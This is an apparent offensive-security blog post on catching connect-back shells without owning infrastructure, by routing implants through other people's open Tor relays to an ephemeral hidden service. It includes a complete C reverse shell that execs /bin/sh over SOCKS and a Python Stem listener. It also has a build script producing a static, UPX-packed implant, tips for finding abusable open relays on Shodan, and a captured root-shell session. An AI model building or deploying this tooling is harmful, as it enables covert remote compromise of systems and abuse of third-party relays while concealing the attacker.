Catching Shells Without Infrastructure Using "Open" Tor Relays.
I first planned to publish this a few years or so ago, on one of my old blogs, and even started to publish "parts" of it, but never got around to showing an actually useful implementation of the concept.
So, here is the "outline" and the most minimal, lazy proof of concept possible. The code is probably the least interesting part.
This whole thing arose to answer a very straightforward question: how do you go about catching connect-back shells or implant beacons when you don't have any infrastructure to do so? Assume you cannot simply rent a VPS, etc. Referring to my last post - this is for "pull" type implants.
At this point I should note: the gsocket project by THC is probably more suitable for whatever you are doing than the stuff I outline here. When I first started working on this, gsocket did not exist (at least, not publicly that I am aware of).
One method I ended up playing with was using Tor hidden services to "catch" the connect-back or beacon. This isn't new - it's been done a few times by various methods.
A few others have also published ways of doing this - for example, back in 2016 midnite_runr showed how to use tor2web and a hidden service to use Empire, and mentions that Metasploit also works in this manner.
The highlight of this was - your backend infrastructure can just be your laptop, anywhere in the world, and you gain some level of "anonymity" as the connection between you and the tor2web gateway happens over Tor. The connection between your target and you is mediated by the tor2web gateway, and then by Tor itself.
There are limitations here - you are limited to HTTP/S callbacks, the tor2web gateway may interfere a bit with your command and control protocol (so the parsers involved have to be somewhat robust), and you are relying on well-known tor2web domains that could be blocklisted. Furthermore, some of these tor2web gateways just kind of suck in terms of reliability and uptime. Never mind the sniffing some do.
I started wondering if there was a way to do this with non-HTTP protocols, without having to wrap them in a HTTP layer. For example, basic reverse shells. Lets also assume that the "easy option" of just dropping a Tor binary, or embedding one, is out of the question due to payload size, or something. Even if you did this you have to wrap your implant in SOCKS anyway.
The solution came to me eventually - use other peoples "open" Tor relays as "ingress proxies" to the Tor network. They are basically a SOCKS proxy, and most programming languages have, somewhere, an easy to use SOCKS proxy implementation as a library.
With this, your implant "connects back" to whatever "open relay" you specify (and there are a bunch of these out there), then talks over Tor to your hidden service listener. The network protocol you decide to use is entirely irrelevant so long as it is TCP that can be wrapped in SOCKS - at this time, Tor does not support tunnelling UDP protocols.
Your infrastructure is entirely "hidden" from the relay you are using for ingress, and from the target that your implant is running on. Much OPSEC, very wow.
Because I wanted the implant to be very, very small and minimalistic, and also "least effort", I decided to just implement a very basic reverse shell in C, using the simplest but workable SOCKS library I could find on Github. The implementation is stupidly simple, mostly thanks to the library being idiotproof.
You will need "socks.c" and "socks.h" from the repo mentioned above. Below is the amazingly complex source code of "rsh.c".
#include <stdio.h>
#include <unistd.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include "socks.h"
#include "config.h"
int main(int argc, char *argv[])
{
struct sockaddr_in sa;
int s;
s = tor_connect(REMOTE_ADDR, REMOTE_PORT, TOR_ADDR, TOR_PORT, "user", "pass");
connect(s, (struct sockaddr *)&sa, sizeof(sa));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
execve("/bin/sh", 0, 0);
return 0;
}
The listener side was cobbled together in Python using the Stem library to control the Tor daemon. It literally is the example Stem code, combined with the usual telnetlib based shell handler I use all the time.
This also is the "minimum viable product" version, which "just about" gets the job done. I decided to use an ephemeral hidden service here, so when you shut down the listener, it "goes away forever". It also assumes in your torrc file that the management password is "my_password" as a default.
from stem.control import Controller
import socket
import telnetlib
def listener(port):
print(" + listening on port %d" % port)
t = telnetlib.Telnet()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("127.0.0.1", port))
s.listen(1)
conn, addr = s.accept()
print (" ! got a connection")
t.sock = conn
t.interact()
print(' * Connecting to tor')
with Controller.from_port() as controller:
controller.authenticate("my_password")
response = controller.create_ephemeral_hidden_service({80: 5000}, await_publication = True)
print(" * Our service is available at %s.onion, press ctrl+c to quit" % response.service_id)
try:
listener(port=5000)
finally:
print(" * Shutting down our hidden service")
So, for using this, you first "run" the listener script. It spins up a hidden service, and emits an onion address.
Obviously, a "build script" was needed. It takes exactly one argument - the hidden service address, and emits a small-ish executable to upload and run on your target. There is trickery you can do with compiler flags and linker flags and such to make the executable even smaller, if you so wish.
You run the build script with this onion address, and it generates an executable for you to run on your target.
#!/bin/bash
if [ $# -eq 0 ]
then
echo "use: $0 blabla.onion"
exit;
fi
rm rsh
echo "using hs addr: $1"
cat << EOF > config.h
#define REMOTE_ADDR "$1"
#define REMOTE_PORT "80"
#define TOR_ADDR "127.0.0.1" // change me
#define TOR_PORT "9050" // change me
EOF
musl-gcc -s -static socks.c rsh.c -o rsh
upx -9 rsh
Note: the build script assumes you put in a "working" and tested open Tor relay under TOR_ADDR and TOR_PORT - I didn't put a public one in the script above, I just put in the default "tor is running locally" values.
You can find one on Shodan with a query such as "Tor is not an HTTP Proxy" and test them using curl. Automating this is left as an exercise for the reader.
Once you have uploaded and executed the binary generated, a short while later you should have a shell. When you exit the shell, the listener shuts down and goes away forever. This very basic reverse shell is not great, but it works to prove a point!
$ python list.py
* Connecting to tor
* Our service is available at redacted.onion, press ctrl+c to quit
+ listening on port 5000
! got a connection
id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux pop-os 6.1.11-76060111-generic #202302091138~1675975749~22.04~f771a7f SMP PREEMPT_DYNAMIC Thu F x86_64 x86_64 x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
* Shutting down our hidden service
$
Big caveat here: your shells connection to the "open proxy" is not encrypted, the proxy operator can muck around with your traffic or sniff it, same as with using tor2web. While we retain the anonymity of Tor hidden services, we entirely lose the end to end encryption aspect unless we bolt our own crypto layer on top - something I did not do in this proof of concept!
Part of the point of this exercise so far was to show just how little "work" it took to actually make something basic work here. Because I don't want Florian Roth to hunt me down for publishing OST this month, I decided to publish only the barest skeleton and not a "fully working toolkit".
Obviously, this is just one way to get yourself a callback "without infrastructure". There are certainly other ways to go about it, but this one was pretty fun to play around with. It also got me to "think around" the problem of dropping a Tor binary on a device.
Since I first was playing with this concept, Tor Project has released a few versions of their Rust library "Arti", a Tor implementation in Rust that can be used to provide both hidden service "clients" and "servers", among other things.
Arti is still not at the maturity level for production use - but it is promising in that in the future you can have Tor as a proper library, compiled into your "project" to provide communication.
It also is possible to shovel a reverse shell over the Veilid network using some shell trickery and "netdog", and if the documentation for Veilid improves as the project matures, it may become a viable communication library for command and control.
It is worth noting here for completeness that using i2p for this remains an open question - the supposedly embeddable C++ library is not very well documented, and the Rust implementation is seemingly abandoned.
There are other anonymity/decentralised networks that also are likely useful to explore for this kind of concept - where the network, or the networks participants, become your infrastructure.
It is also probably worth noting that some ways of doing command and control over various internet services (for example: command and control over email, twitter DM's, chat services and the likes) can also solve the problem of running/maintaining infrastructure in probably a more elegant/covert fashion than the system I came up with, but abusing third party services as control channels is a whole entire topic for another day :)